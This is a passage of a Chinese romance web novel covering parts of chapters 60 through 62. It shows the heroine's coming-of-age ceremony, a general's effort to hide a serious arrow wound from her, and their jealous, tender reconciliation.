陆思蓁笑得浑身发颤,指着施芊说读书读得脑子坏掉了,施芊气得追着她打。 乔姝月看着好友们打闹的样子,眼眶微微泛红。 前世乔家落难后,施芊曾试图救她。 施芊并非出身官宦世家,只是个普普通通的商户女,在这皇城里没有任何背景和靠山,哪怕施掌柜在京中颇有名气,也有些人脉,可真到了生死攸关之时,什么人脉都派不上用处。 施芊主动把自己献了出去,只盼着柳步亭能喜欢她,放过乔姝月。 可最终,柳步亭叶没有如她所愿。 柳氏后宅中,施芊被磋磨致死。 后来谢昭凌帮她厚葬了施芊,并且将施掌柜接入宫中照料,只不过施掌柜因丧女之痛,那时已经时日无多,不过半年,便郁郁而终。 乔姝月送走了生命之中很多个对她来说十分重要之人。 至于陆思蓁,倒还算有个好结局。 她比乔姝月大两岁,在乔家还未遇难时,便远嫁到赵氏老家那边,赵氏亦是当地望族,她与她的表哥琴瑟和鸣,一生幸福。 陆国公府受乔家牵连,这局内局外,只剩陆思蓁一人落了个善终。 不过还有她自己,她遇到谢昭凌,也是一生之幸了。 梳妆完毕,前院也传话来,说宾客都到齐,请姑娘过去。 后头便是繁琐而隆重的笄礼。 等到一切结束,乔姝月退到席间,已又过去一个时辰。 她早已饥肠辘辘,却又因着几位相熟的夫人围在褚氏身边说话,她不得不维持着笑脸,陪伴在侧。 听着夫人们的称赞,偶尔还要应和几声,她站得双脚发麻,肚里空空的,头也开始发昏。 但这是她的大日子,万万不可失礼。手指用力掐着掌心,强撑着。 就在乔姝月饿得有些腹痛,悄悄抬手捂住肚子时,忽然有两人朝这边走来。 席间倏地一静。 乔姝月没甚力气地垂着眼睫,暗自松了口气,终于可以躲会懒了。 周遭响起压抑的惊叹声,席间有人蠢蠢欲动。 “母亲。” 是四哥的问候声。 有位夫人轻笑着,好奇道:“四公子,这位是……” “这位是谢昭凌,我的好友。” “哎哟知道的,小谢将军嘛!” “长得这样俊,可有婚配啦?” 乔姝月倏地抬头,对上一双幽深的眸子。 只一对视,男人便移开了视线。 他站在那里,温文有礼,瞬间便吸引了所有人的目光。 乔姝月看得挪不开眼,痴痴望着,乔誉不知何时凑到她身边,垂下的手臂碰了碰她的。 而后她掌心便被人塞过来一样东西。 乔姝月侧眸看去,只见乔誉面不改色,直视着前方,仿佛什么都没做过一样。 他们是兄妹,站得近些,外人不会觉得奇怪。 而他与谢昭凌明明是一起来的,两人却离得很远,谢昭凌将所有的目光都引了去,而四哥…… 悄悄给她塞了一颗蜜果。 是那家果脯点心铺新研制的糖,圆圆小小的一颗,晶莹剔透,入口会慢慢融化成蜜浆。 乔誉侧过身,挡住她半个身影。 乔姝月背过身去,将那颗糖快速地放入口中,压在舌头下面。 甜丝丝的浆液在口中蔓延开来,一股酸涩却涌上心头。 每逢过年,大年初一的一早,都要在早膳前聆听父亲的教导。父亲长篇大论起来,没一个时辰讲不完。 那时她卯时起床,来不及先吃东西便要到前厅去,同哥哥们一起听训。 谢昭凌便会偷偷塞给她一颗糖,让她别饿着自己。 一颗糖十分管用,这是谢昭凌的独门秘方,她身边的人都不知道。 这是另一个只属于他们二人的秘密。 四哥不会知道这个秘密,所以这颗蜜糖,也是他…… 乔姝月抬起头,直勾勾地望过去。 厅堂中央的男子不苟言笑,内敛而沉着,他看似有着十足的疏离感,却又在此刻极有耐心地回答每位夫人的问话。 “不曾婚配。” “今年二十。” “家中无父母,唯有师父,一切全听师父的。” 这些零碎的打探放在平时,他理都不会理,今日却都一一作答。 他这般给面子,倒叫人生出平易近人的错觉来。 模样俊俏,谈吐得体,关键是前途无量,众位夫人对他满意极了,心里都打起小算盘来。 直到乔誉又不声不响走回到男人身边。 小谢将军这才抿唇笑了一下,揖手告辞。 他转身前,又状似不经意地看了一眼乔姝月,见对方望着自己,微微颔首。 男人的身影远去,席间的话题也顺势从乔姝月的身上绕开。 她如获大赦,从主桌退下,终于可以回到自己的位子上用点吃的。 …… 谢昭凌与乔誉并肩往外走。 “你倒是眼尖。”乔誉侧头打量,见他面色冷淡,不由得揭穿道,“真会装。” 装得一副温润公子的模样,实则心肝还是黑的,为了达到自己的目的,不惜做他平日最厌烦的事。 谢昭凌想起小姑娘偷偷吃糖的模样,被人问来问去的烦躁感稍散,唇角微勾,“她素来有这毛病,方才脸色都白了。” 再饿下去,身子怕是吃不消。 乔誉哼了声,心里舒坦不少。 心细如尘,思虑周全,还算差强人意吧。 回到男宾这边,见三公子乔束正与一男子交谈。听到动静,二人纷纷望过来。 林察见到谢昭凌,揖了一礼,有些意外地唤了声:“小谢将军?” 乔束看向好友,“你们认识?” 林察不好意思地笑了笑,正要解释,便见谢昭凌冲二位回礼,先回道:“大军回京那日,一面之缘。” 林察吃了一惊,“将军竟记得在下?” 谢昭凌冷淡地“嗯”了声,不再说了。 林察隐约察觉到对方的敌意,默默噤声,也不再提。 乔誉站在谢昭凌身边,目光在他二人之间来回游走,似是想明白什么,眉头上挑,嘴角噙笑看起热闹来。 三哥乔束没感觉到二人之间的暗流涌动,他恍然道:“是了,那日你说要去凑热闹。” 他转头看向好友,“那日你说见到姝月了?” 林察脸色微红,抿着唇颔首,“嗯,是碰到姝月妹妹了,我们是偶遇。” “姝月妹妹”四个字惹得谢昭凌又瞥过来一眼,那一眼冷淡至极,看得人脊背发凉。 乔誉别过头去,无声弯唇。 都是男人,谁还不懂谁心里那点想法。 林察几乎是瞬间便读懂了对方的恶意是缘于何故。 若说方才他躲避是迫于对方的威压与气势,此刻却是硬着头皮,光明正大地迎上那一饱含威胁的目光。 林察道:“我与小妹来赴宴,是受了乔夫人的邀请,小谢将军呢?” 他目光看向乔誉,问道:“不曾想四公子竟与将军是熟识。” 谢昭凌微微眯眸,轻笑了声,“林公子以为我凭着乔四公子的关系,才能来今日的宴席吗?” “难道不是吗?”林察目光坦荡,“大军回京那日,将军瞧着不像认识姝月妹妹的样子。” 要是认识,怎么还会管她叫“姑娘”呢?连个姓都没有,分明就是不认识。 乔誉终于忍不住笑出了声,一想就知道这兴许是那俩人之间不为人理解的小情趣。 他胳膊肘怼了怼谢昭凌,压低声音,调侃道:“小谢将军,说你心思叵测呢。” 一个才回京的边关守将,回京时对一姑娘见色起意,便想法设法地搭上了她哥哥的关系,费尽心思地想再见一面。 乔誉暗暗点头,赞同道:“确实是图谋不轨。” 猜测得八九不离十,只不过见色起意不是回京才开始的。 没等谢昭凌回嘴,远处一行人缓缓走来。 宾客渐渐散了,如今只剩下他们几个。 乔姝月一出现,众人的目光便都无法再从她身上挪开。 林察看得失了神,直勾勾地,没忍住念了句酸诗。谢昭凌眸色倏地沉了下去,面孔情绪愈发寡淡。 少女及笄,往后便算成年。 如云的乌发挽至脑后,露出莹白如玉的小脸,面上再无稚气,灼若芙蕖,脱尘绝俗。 莲步轻移,头顶流苏摇晃,她笑起来唇角挂着浅浅的梨涡,晃得人心神荡漾。 林察情不自禁往前迎了两步,走出去后才发现只他一人动了,他懊恼地垂下头,羞愧地脸颊微微泛红。 他狼狈地垂首揖手,结结巴巴道:“乔、乔姑娘,又见面了。” 这会儿怎么不敢叫姝月妹妹了。 谢昭凌手搭在攀云剑上,心底冷笑。 “三哥,四哥,林公子,”少女行至近前,盈盈福身,杏眸含着潋滟波光,抬眸望来,含羞带怯,“……谢将军。” 林公子,谢将军。 听上去没什么分别。 “阿月。” 男人缓声低语。 他声音很轻,却依旧叫每个人都听进了耳去。乔束诧异望过来,林察则攥紧了拳,脸色难看。 一个称呼往往说明许多事。 一个亲密无间的呼唤,让那日的遮遮掩掩成了笑话。 他们分明就是早就认识! 谢昭凌扯了扯唇,睨着林察,语气冷淡:“林公子难道不知,谢某的师父是何人?” “他师父,我们的舅舅。” 乔誉好心地提醒。 林察脸色愈发惨白,嘴唇颤抖两下,急迫地盯着乔姝月看,生怕她露出一点羞涩或是爱慕的表情。 乔姝月听后没什么反应,目光在男人胸口处流连片刻。 她对这几个人之间的针锋相对漠不关心,心里只想着,也不知那处的伤口有多深。前世陛下胸口有一处险些致命的箭伤,直到她去世前,那道疤仍能显出当初的惊心动魄来,也不知他现在遮遮掩掩的是不是那个。 一想到他对自己有所隐瞒,心里便不大畅快,眉间微蹙,略带指责意味地瞥了他一眼,没搭理。 林察默默松了口气,这二人关系显然并不好。 瞧她这幅样子,乔誉便知,心里存着气呢。 看来是还没哄好。 正好,自己被某人算计、被某人强迫帮忙的仇是一笔,某人回京私下约见小妹的仇又是一笔,他们好歹也算朋友,某人回京后连点谢礼都没,这仇再添一笔。 新仇旧怨,算不过来,索性加一笔大的。 虽不知俩人因为什么闹了别扭,不过眼前这场好戏,错过这次,可就没下回了。 难得人齐全。 乔誉道:“月儿来得巧,林公子方才正说起你。我记得你二人幼时还不这般生分,怎得越长大,越生疏了?难不成,是因为兄长在场,才故意避嫌?” 他语速不快,每个字都咬得清楚,语气意味深长,惹人遐想。 “四、四公子,在下与乔姑娘之间,并、并无……” 乔誉微挑眉毛,似笑非笑地看着面红耳赤的林察,又看向闷醋吃得正旺的某人,恶劣地勾起嘴角。 “林公子,怎么还叫乔姑娘呢?方才不是还喊姝月妹妹?” “还有月儿,四哥怎么记得,你从前都是叫林察哥哥的?哎哟,看来是长大了,‘哥哥’当做男人来看,都不好意思叫了。” 乔姝月一脸茫然,脑子里一会想着她何时叫林察哥哥了?一会又想,四哥今儿好像被鬼上身,竟也爱开起玩笑来,真是百年难遇,稀奇古怪。 林察连连摆手,连脖子都羞红了,他支支吾吾,欲言又止,望着乔姝月的目光既赧然又期盼,“什么哥哥……那都是幼时的事,姝月妹妹怕都不记得了?” 乔姝月蓦地瞪圆了眼,诧异地对上林察的视线,“何时的事?我当真全无印象。” 林察失落垂眸,苦笑道:“是幼时,不怪姝月妹妹不记得。” 二人的互动落在谢昭凌眼中。 他双臂抱剑,修长白皙的手指摩挲着剑鞘。 乔姝月被这一声又一声妹妹唤得颇不自在。 她躲避开林察的目光,不设防又撞进一双深邃如深海的黑眸。 男人眼底的情绪看不分明,深眸微暗,气势凌人,锐利且充满压迫感。 他直勾勾地她瞧,侵略性与独占欲半分不加掩饰。 乔姝月被他看得心肝发颤,慌乱地别过头去。 三哥乔束看了半晌,这才反应过来,恍然大悟道:“林兄,原来你对我妹——” “行检兄!莫要再说了……”林察红着脸小声哀求,他匆匆对众人一揖,“舍妹想必等急了,在下这便告辞。” 乔束不明所以,赶忙追上去,“林兄,我送你。” 临走时还不忘客人,嘱托道:“四弟,招待一下小谢将军。” 说罢便随着林察一起离开。 乔誉抱着肩膀,好整以暇地看着二人。 他冲妹妹扬了下巴,意味深长道:“招待一下?” 乔姝月瞪了四哥一眼,又望向谢昭凌,目光里终于带上两分小女儿的情态,像藏了一双小勾子似的,又是幽怨又是嗔怪。 谢昭凌垂下手臂,不自觉柔和了目光。 少女扁扁嘴,扭头往后头去了。 谢昭凌用力握了下手里的剑。 立马跟上去。 60-70 第61章 【61】 两人一前一后,绕到了东侧夹道的小路上。 当初学堂失火那夜,他们走得也是这条路。 那时两人牵着手,并肩而行。这次却只能隔着不近不远的距离,一路尾随。 看到少女绕到那堵矮墙后面,脸沉了半晌的男人终于手抵额角,轻笑了一声。 那堵矮墙后,有他们共同的回忆。 谢昭凌没有立刻过去,他站在廊下,脑海中不自觉浮现那晚的画面—— 失火夜,小姑娘埋在他怀里,小手紧紧揪着他破烂不堪的衣摆,不声不响,安静地哭泣。 而他背靠着冰冷的墙壁,揽着身前的人,在她的脑袋上轻轻地揉。 她还亲了他的脸颊…… 谢昭凌闭上眼睛,强迫自己不再继续往下想。 “阿月。” 在这里,他第一次这么唤她。此时此刻,他没忍住,对着前方又轻唤了一声。 一片寂静,只余风声,无人应答。 谢昭凌垂眸勾唇,正欲迈步跟上。 矮墙后忽然探出来一颗脑袋。 少女眉间微蹙,杏眼圆睁,似嗔似怒地瞪了他一眼,语气娇憨:“叫什么叫,还不快过来!” 谢昭凌愣了下,这下低低笑出声来,“来了。” 矮墙一步一步近了,谢昭凌心情愉快。方才被林察挑衅而生的那股郁火,在她的一颦一笑间,竟渐渐消散了。 矮墙后那人似嫌弃他脚步慢,这回露出来的不是脑袋,而是她整个人。 小姑娘满脸不耐烦,绕出来几步,一把拉住他的手腕,快步把人拽回到角落里去。 男人盯着二人相牵的手,脸上的笑意愈发地浓。 他一手被人拽着,一手搭在攀云剑上,慢慢悠悠,不慌不忙,脚步惬意。 察觉到他在拖后腿,拉着他的姑娘回头又瞪了他一眼。 微风吹动她绯红色长裙,扭头时发钗轻晃,露出的一截脖颈修长细白,在正午的烈日下白得晃眼。 谢昭凌敛起笑意,喉结轻轻滚动。 霎那间,日光被屋檐遮挡。他手腕一重,被人拉着推到墙角。 一套动作,如行云流水。 阴影之下,逼仄避人的角落里,谢昭凌垂眸,诧异地看向身前的女孩。 她把他困在矮墙之下,不由分说,抬手就去掀他的衣领。 谢昭凌眼疾手快握住她的拳头,惊诧过后,眼里噙满了笑意,哑声道:“月姑娘,光天化日呢。” 乔姝月恼道:“怎么现在又叫姑娘了?方才不是一口一个阿月,和我套近乎?” 一边说着,一边又要去扯他的衣襟,“叫得那样亲热,就脱了让我瞧瞧。” 两只手都被人攥在掌心,用力收拢,动弹不得。 她急得眼眶微红,幽怨委屈地看着他。 谢昭凌沉默半晌,将她的两个手腕用同一只手攥住,空出来的手掌绕到她背后,轻拍了两下,而后将她缓慢拥入怀中。 她没有挣扎,顺从着他的力道,窝进他的怀里,乖巧温顺得像只小猫。 谢昭凌暗暗松了口气,将人抱紧。 哪怕嘴上再凶,也不会排斥他靠近,这叫人怎能不心软。 他背脊微弯,身子前弓,整个人将她包裹在怀中。 下巴抵在她肩上,认命地叹了声:“如何猜到的?” 窝在他怀里的女孩在他衣裳上蹭了下溢出的眼泪,娇声埋怨:“摸还摸不出来吗?你以为我为何要戳你胸口。” 原来是为了这个。 谢昭凌无奈失笑。 怀里人忽然僵住,挣扎着要退出去,她仰头,紧张地道:“我这样,会不会压到伤口?” 谢昭凌把人再度按回去,微微偏头,在她耳侧轻喃:“阿月此刻再担忧,未免为时已晚。” 重逢那一夜,他们抱得可比现在紧多了。 “那晚回去伤口裂开了吗?不行,还是得给我瞧瞧。” 说着又急急忙忙要去拉他衣裳。 谢昭凌将人搂紧,轻描淡写:“早已无碍,没什么可看的。” “你又骗我。” 谢昭凌一时无言。 伤是万万不能给她看的,必定会吓到她。 她既然猜出来,那便没有必要再瞒着此事,只是那伤的程度…… 还好他们还未定亲,不是夫妻,若真脱了衣裳,坦诚相对,她见了指不定要多害怕。 小菩萨的一双眼睛就该干干净净的,世间最凶险最血腥之事,都不该让她沾染上。 可此刻的谢昭凌不知乔姝月曾经历过那些事。 她早已见过、亲历过这世上最黑暗的事。 谢昭凌不清楚。 可乔姝月却懂他维护自己的心。 她没有办法怪罪他的隐瞒,可她实在也过不去心里那关,没法当做什么都不知道。 乔姝月揪着男人身侧的衣袍,埋在他怀里哽咽道:“阿凌哥哥,我知你怕我担心害怕,所以不愿对我说,我虽难以想象当时的战况,却也知必定是凶险万分,九死一生。” “我自知你受伤,这几夜无一日安眠,我一颗心全系于你身上,你何故要这般辜负我呢?” 这罪名可大了,谢昭凌实在担不起。 她的剖白令他心神动荡,心底一些僭越的肮脏的念头又浮上来。 可冲动归冲动,他依旧守着底线,绝对不能因她撒娇就心软。 但也说不出什么辩驳的话,只能一遍又一遍地唤她的名字,嗓音低沉缱绻:“阿月,阿月……当真无事,莫要挂怀。” “你这些话轻飘飘的,没一点分量。出去三年,竟将我的叮嘱全都忘却,我说过莫要对我隐瞒,自你回来,我给了你不少机会,你却一次都不知利用,一再推脱,不肯就范,想来是看我从不会与你生气,你这算恃宠而骄?” 谢昭凌委屈道:“阿月哪里宠我?方才在人前,还不理我的呼唤。” “哥哥们都不那样叫我,当时还有外人在场,我如何能……” 乔姝月顿了下,抬手去掐他的腰,带了两份薄怒:“莫要顾左右而言他,说着正事呢!” 男人低低笑出声,连声道“好”。 “嬉皮笑脸,显然就是不以为意!” 乔姝月这下彻底恼了,抬手想将他推开,可顾虑他胸口的伤,一时间又无处下手,只得用力锤了下他的后背,“你松开——” 男人一声闷哼,让她顿时大惊失色。 她再顾不得其他,连忙从他怀里挣脱开,拉过他肩膀,就要查看他的后背。 急得眼圈通红,嗓音里带了哭腔。 “后背也有?难不成是贯穿伤吗?你别瞒,今儿务必让我瞧瞧!” 她记得前世陛下身上最致命的那处伤,就是利箭所致,陛下说幸好箭上无毒,不然他只怕没有命去认识她。 当时他说得轻松,却还是将她吓得连做了几日的噩梦。 后来谢昭凌便再也不提他身上的每一处伤疤都是从何而来了。 乔姝月辩解过,自己不是因为害怕,而是心疼他,可他却再也不听,无论她如何磨,都不再开口。 于是乔姝月也只知道,他身上有一处贯穿的箭伤十分凶险,一剑穿胸,险些命中心脏。何止九死一生,是他命大才能活下来。 乔姝月脑子一片空白,万分后悔懊恼自己方才的莽撞行为。 她慌乱得手足无措,眼泪扑簌簌止不住地淌过脸颊。 下巴忽然被人托起。 她隔着朦胧泪雾抬眸,一串泪珠又滚落下来。 男人忽然附身。 他俊美的面容在视野中逐渐放大,修长的手指抵进她的乌发间。 而后,温柔的吻落了下来。 他干涩的唇慢慢擦过她细嫩的肌肤,带起阵阵战栗。 她在他怀里轻颤,按在她身后的手蓦地压紧,不容她退缩。 炙热的呼吸洒在耳畔,呼出的轻喘声钻入她的耳蜗。 唇瓣衔住她的泪珠,嘴唇贴着她的脸颊,轻柔而缠绵。 似花丛中翩翩飞舞的蝶,一触即分,在一处短暂停留片刻,将苦涩的露水掠走,便又振翅飞往下一处。 心头只留下些微的痒意,不知为何,又有更多的泪珠掉落下来。 谢昭凌吮去她面颊上的泪,轻叹道:“阿月这般,倒显得我狡诈阴险,恐有苦肉计之嫌。” 少女嗓音发颤:“苦肉计?为了什么?” “自然是为了阿月的一颗真心。” 泪水太多,怎么都吞不完。 男人抬起湿漉漉的嘴唇,以手代唇,掌心捧着她脸颊,指腹将剩余的湿润全都轻柔地抹去。 乔姝月眼里存着温存的水意,抬头,杏眸欲语还休,“我的真心……阿凌哥哥不知吗?” 他们之间从未挑破,然情愫就在每一个对视间,让人装傻不得,糊涂不得。 哪怕是再迟钝,也会被四目相对间缓缓流淌的爱意所感染,读懂对方未尽的深情。 从未言说,却彼此心知肚明。 谢昭凌沉默半晌,“正因知晓,所以我无需以此来博取同情。” “可我担心,你让我看一看吧。” 谢昭凌深思良久,才目光郑重地说道:“战场上刀剑无眼,我思念着姑娘,方能躲过那一次又一次的暗算与偷袭。我想要活下来,想要站得更高,觉得如此才对得起姑娘的厚望,我也确实做到了。” “在这一路上,流血是必不可少的,我自认从没有那样好的运气,能够在每一次的危机里都化险为夷。月姑娘,我这一生遇到的幸事实在不多,其一是遇到你,有了你才有如今的我。其二,便是能从战场上全须全尾地退下来。” “而这第二件事也是因为你,若不是心有挂念,我也不能……” 一个人能强撑的精力总是有限的,若心里没个挂碍,只怕他这次不会轻易地挺过去。 哪怕侥幸活下来,他也要元气大伤好一阵。 心里有了惦念,变得珍惜自己的身体,药一顿不落下,积极地配合军医的治疗,不让他做的事他就一件都不做。 只为了能活得更久,陪她更久。 他还想再继续说,乔姝月却没了耐心。 她抬手捂住他的嘴巴,眼里含着情波,嗔道:“谁要在此时听你的真心话,又在东拉西扯!” 谢昭凌抓住她的手,唇在她掌心来回摩挲,“姑娘不爱听,那便不提了。” “休要威胁我,我才不会上当!我爱听,可不是要现在听,我现在只一个诉求,给我看看!” 真是长大了,都不好骗了。 谢昭凌使劲浑身解数,都没叫她放弃,这下黔驴技穷,只能低声恳求:“光天化日,拉拉扯扯的成什么样子?下次,下次可好?” 乔姝月睨向他揽在自己腰间的手,鄙夷地道:“不成体统吗?那你低头看看自己的手放哪儿了?” 谢昭凌茫然回视,装聋作哑,贴在她腰侧的掌心却分毫不退。 乔姝月目光幽幽,“你这表情好似在说,男女授受不亲,让我自重。” 谢昭凌连连否定:“我没……” 乔姝月脑子一热,脱口而出:“你刚亲我的时候,怎么不自重?” 周遭瞬间寂静下来。 她看着男人慢慢吞咽的喉结,脸微微变红。眼见他头又要靠过来,她赶忙说道: “罢了,不给看就算了。” 说话间,从他怀里退了出去,不仅不许再碰,还拉开距离。 谢昭凌没再被追问,本该满足,可他心底却有说不清的遗憾。 目光落在她通红的脸颊上,不自觉地抿了抿唇。 被他目光看得心慌,乔姝月错开对视,“那场战役……你吃亏了吗?” “我都报复回去了。” 那就还是吃亏了。 乔姝月心口发闷,一想到他遮掩的态度,就知道那伤就是前世她颇为在意的那个。 她闷声道:“因着你的隐瞒,我不开心,所以我也要报复回去。” 谢昭凌放松了身体,靠着矮墙,嘴角噙笑,“嗯?如何报复?就像那晚那样?” 乔姝月迷茫:“哪晚?” “失火那夜,你不开心,扯破了我的衣裳。” “不是我扯破,是火烧的!” “那是我记错了?我记得姑娘还咬了我一口。”男人幽深的眼睛里染上了一丝笑意,微微弯腰到与她平视的角度,脸往前凑,“不然,姑娘再惩罚小的一回?” 乔姝月不可置信地瞪圆了眼睛,万万没想到有人能厚颜无耻、颠倒黑白至此! “我哪有咬,分明是……” 说到一半,生生卡住,脖颈漫上一层绯色。 男子低沉沙哑的嗓音中带着一丝促狭,明知故问:“嗯?是什么?” “是奖励!” 真是卑鄙,为了不让她看伤口,真是想遍了法子,又是剖白内心、花言巧语,又是混淆视听、不正经地调侃,说来说去,只为绕开受伤一事。 再纠缠下去,就没意思了。 乔姝月失落地垂下眼睛,泄气道:“你不愿,便算了,不为难你。” 她不再逼迫,一副神伤的模样,反而叫谢昭凌不知所措起来。 “不,不为难,要不……”谢昭凌蹙着眉,纠结犹豫许久,咬咬牙,硬着头皮,手缓缓放在腰带上,“那我……” 乔姝月按住他拉动腰带的手,摇摇头,“不必,我不想看了。” 以退为进,谁不会似得。 乔姝月叹了口气,欲言又止,嗔他一眼。 “抱歉,谢将军,是我唐突了。” 得了,这下连阿凌哥哥都不叫,改谢将军了。 谢昭凌紧拧着眉,“阿月,我——” “还望谢将军在人前能注意分寸,旁人听见会误会,不好。” 旁人?哪来的旁人?他们之间还能有什么人? 谢昭凌冷下脸,方才压下的醋意加倍地翻了出来,压抑道:“那位林公子是你三哥的挚友,他能叫你妹妹,我不能吗?你们之间——” 乔姝月看出他在吃醋,微微勾起红唇,轻笑:“怎么,想知道?” 在这方面,他果真经不起一点激怒,心眼儿小得很。 她可是活了两辈子,前世和这男人朝夕相处数载,更是同床共枕,险些成了夫妻的,她早就摸清了脾性,攒足了经验,要对付他,还愁无计可施? 她目光冷下去,手指在他腰带上打转,最终指节灵活地探入带子内侧,往外勾了勾。 她意味深长道:“那等你心甘情愿地给我看伤时,我再告诉你,我和林察哥哥幼年的那些趣事吧。” 那四个字咬得极慢,带着挑衅。 谢昭凌:“……” “哎呀,他们不提,我险些都要忘了呢。我与林察哥哥,可是相识在阿凌哥哥之前的哦。” 少女冷哼一声,扭身走了。 谢昭凌抬手,用力揉捏着太阳穴,气笑了。 …… 乔姝月回到木兰院,气还没消。 她沉着脸朝屋里走,忽然被玉竹叫住。 主子方才和谢昭凌一前一后离开,众人都知俩人有话单独谈,便都识趣地没跟过去,等了会没见人回,便同四公子打了招呼,各自回院。 其间少夫人陆思芸来过一次,寻人未果,知道被那位谢将军拐走时,面色不善,表情看着十分不赞同,但到底没说什么,只嘱咐了一句让她回来好生歇息,便离开了。 玉竹叫住主子,转述了少夫人的叮嘱。乔姝月敷衍地应声,正欲转身。 “哎?姑娘,你头上这簪子……” 乔姝月愣了下,抬手去摸。在头上摸到两个簪子。 她提起裙子跑回屋中,对着铜镜打量。 其中一个簪子是早上笄礼上母亲为她戴上的,这一动作象征着她成年。 后面这个…… 乔姝月小心翼翼地从发间取下,仔细端详。 是白玉发簪,手工打造,簪头缀着个白玉兔子。 她目光旁移,落在桌上那个刻有小兔纹饰的玉梳。 当年谢昭凌离开时,送她十二岁生辰礼——玉梳,意味以梳为礼,结发同心。 而今归来,送她的十五岁及笄礼物。玉簪,亦是定情之意。 “他怎如此令人厌烦。” 少女娇声抱怨了声。 把她惹恼,又偷偷摸摸送礼物哄她。礼物不能当面送吗? 不就是想看一看伤口,怎么就这么难?究竟是伤得有多严重…… “哎哟,那他可真是讨厌死啦!” 玉竹捂嘴偷笑,蹑手蹑脚出去,关了房门。 乔姝月坐在妆奁前,怔怔对着掌心的玉簪发呆。 半晌,小心翼翼地握紧,贴在心口,抿着唇,露出一个懊恼又甜蜜的笑来。 ** 月光透过窗牖照进来。 铜镜之中,映出男人裸露的伤痕累累的胸膛。 在边关吹了三年的风沙,他的肤色也没有变黑,只是在原来白皙的基础上,略带了点暗色。 除却一些微不足道的刀伤外,此刻最为狰狞的,当属心脏旁的一道贯穿箭伤。 弓箭由他背后射入,穿过前胸,探出箭头,胸口血肉模糊,触目惊心。 箭矢贯穿之处,还依稀能见当初伤势的惨烈。 经过几月的修养,伤口周围已呈愈合之势,只是时间尚短,无论是前胸还是背后,被洞穿的地方都没有长好。 若被她见到…… 谢昭凌面露无奈。 当初就连军医都说这伤甚为凶险,说他能逃过一劫,死里逃生,完全是奇迹。 谢昭凌一直都知道支撑着自己站到今日的信念是什么。 是京中那个一直在等他回家的小菩萨。 也是这一伤后,他心里的执念愈发深刻,某些念头变得坚不可摧,至死不渝。 他唯一的软肋,便是小姑娘的眼泪。 若是叫她亲眼见到他的辛苦,想必…… 这辈子,都会成为她的心结吧。 只是如今将人欺瞒得狠了,不哄是万万不行的。俩人闹别扭的时日若是长了,恐会给他人可乘之机。 觊觎她的眼睛那么多,他万不可再行差踏错。 谢昭凌小心翼翼地绕过伤口,擦拭完身体,换好药,将寝衣穿好。 带着愁思,心事重重地睡下。 一夜旖梦。 少女手臂勾缠着他有力的臂膀,缩在他怀里娇声抽泣。 被欺负得狠了,还不忘惦念着他胸口的伤。 一双柔弱无骨的手试探地伸来,要按在他心头。 他捉住少女细长的手指,拽着往下去…… 天还未亮,谢昭凌睁开眼睛。 低叹了声,不得不又去换了一身新衣。 等他清空了满脑子的绮念,推门走到院中,远远便听到褚玄英练剑的声音。 他有伤在身,暂时不能再动剑。 于是就在台阶上坐下,静静看着人晨练。 等褚玄英挥洒热汗,收了攻势,一回头就看到小徒弟满脸烦躁,板着脸坐在那思索人生。 褚玄英乐呵呵地走近,“哟,这大清早的谁又惹你了?” 他挽了个剑花,嘲笑道:“不能练剑,眼红?” 谢昭凌沉吟半晌,站起身,恭恭敬敬行了一礼,认真地请教:“敢问师父,当初都是怎么哄师娘的?” 褚玄英愣了下,神情呆滞,茫然地道:“为师没哄过女人。” “师娘性子温婉,从不发火吗?” 褚玄英无辜道:“不啊,我两任夫人都没等到与我熟络起来,就病亡了。” 谢昭凌:“……” 第62章 【62】 生辰过后,乔姝月便一心一意盯着在家读书的三哥。 她表现得太过异常,乔誉看在眼中,担忧她又要做什么惊世骇俗的事。毕竟这些年里,类似的事实在发生了不少。 那个人不在时,她好歹安生了几年。 人一回来,她又开始行迹鬼祟,似乎暗暗酝酿了什么大阴谋。 乔誉时常会在妹妹身上察觉出怪异感,可他又说不出缘由。 直问,她肯定警惕,什么都不肯透露。好在现在那人回来,他可以另辟蹊径,不必将精力全都放在她一人身上。 乔姝月躺在院里的椅子上乘凉,三哥打开房门走了出来。 三哥说了什么听不清,乔姝月忽然拉着他的胳膊不许人走。她早有准备,从旁边一摞书中抽出一本,凑上去请教,那书的内容似乎十分有趣,于是三哥便理所当然地留了下来。 乔誉从院外路过,将这一幕尽数看在眼中。 脑子里忽然回忆起她对叶宰辅之孙叶奉惟的抵触与排斥,眉头紧锁,眼底略过深思。 ** 午后的将军府,管家来禀报,有一位姓郑的公子前来拜访。 褚玄英不在府上,管家的话传到谢昭凌这儿。 姓郑? 谢昭凌放下画笔,卷起画轴,去换了身常服。 管家将客引至前厅,奉上一盏热茶,而后谢昭凌便到了。彼时郑丰南正背着手,打量着厅中的摆设。 “郑公子,别来无恙。” 郑丰南回头,不由得一阵恍惚。 当初那个还不及自己高的瘦弱少年,如今已经弱冠,身着一袭玄色私服,背对着日光,立于屋檐之下,气质从容,稳重内敛。 “小谢将军。” 郑丰南笑着揖手,感慨道:“多年不见,当刮目相待。” 曾经那个将刺都裸露在外的少年,如今已经学会将敌意完好地包裹起来。 举手投足间并不输任何一位世家公子,因为久经沙场的缘故,甚至比那些在安乐窝里长大的公子哥们还显气势。 银冠束发,腰系玉带,端得一副矜贵淡雅的公子模样,任谁看了都要赞上一声芝兰玉树,如圭如璋。 变化之大,惹得郑丰南频频侧目。 谢昭凌神情淡漠,从人身边越过,先行坐上主位,而后才对郑丰南道:“郑公子请坐。” 言行间状似温文有礼,可细观其神情,体察其内心,依旧能看出他内里的不屑与傲慢。 他不喜欢的人,仍是半分面子都不愿给。 郑丰南摇头失笑,心情愉悦地落了座。 他道:“在下当年因故离开京城两年,等再回来,发现将军已然离开了?离别的话都未来得及说,甚是可惜,幸好我与将军还有再见之时。” “当年若执意叫将军跟着在下做事,怕是也难有今日这番成就。将军留在乔府,实乃目光如炬,高瞻远瞩。” 谢昭凌打断了他,开门见山道:“寒暄便不必了,郑公子上门,意欲为何?” 郑丰南见状,也不再同他绕弯子,直言道:“从前的纠葛,前尘往事,都已过去,悦泉楼已然被查封,那么发生在那座酒楼里的事,亦如青烟、如尘土,尽数归了虚空去。” 谢昭凌轻嗤了声,满不在意道:“悦泉楼的事与我无关。” “将军莫急,在下并非来翻旧账的。”郑丰南道,“悦泉楼覆灭,在我的计划之中,它不需要再存在,我们自然不会拼命保下它。” 他话锋一转,忽然又道:“早在将军离开不久,那地方我们便计划要舍了的。当初三爷离京,一切动作都慢了下来。主心骨不在,计划搁置,那地方没能立刻撤了,这才让乔姑娘险些遇难。不过也好在没及时裁撤,不然哪有将军与乔姑娘的一份情缘?” 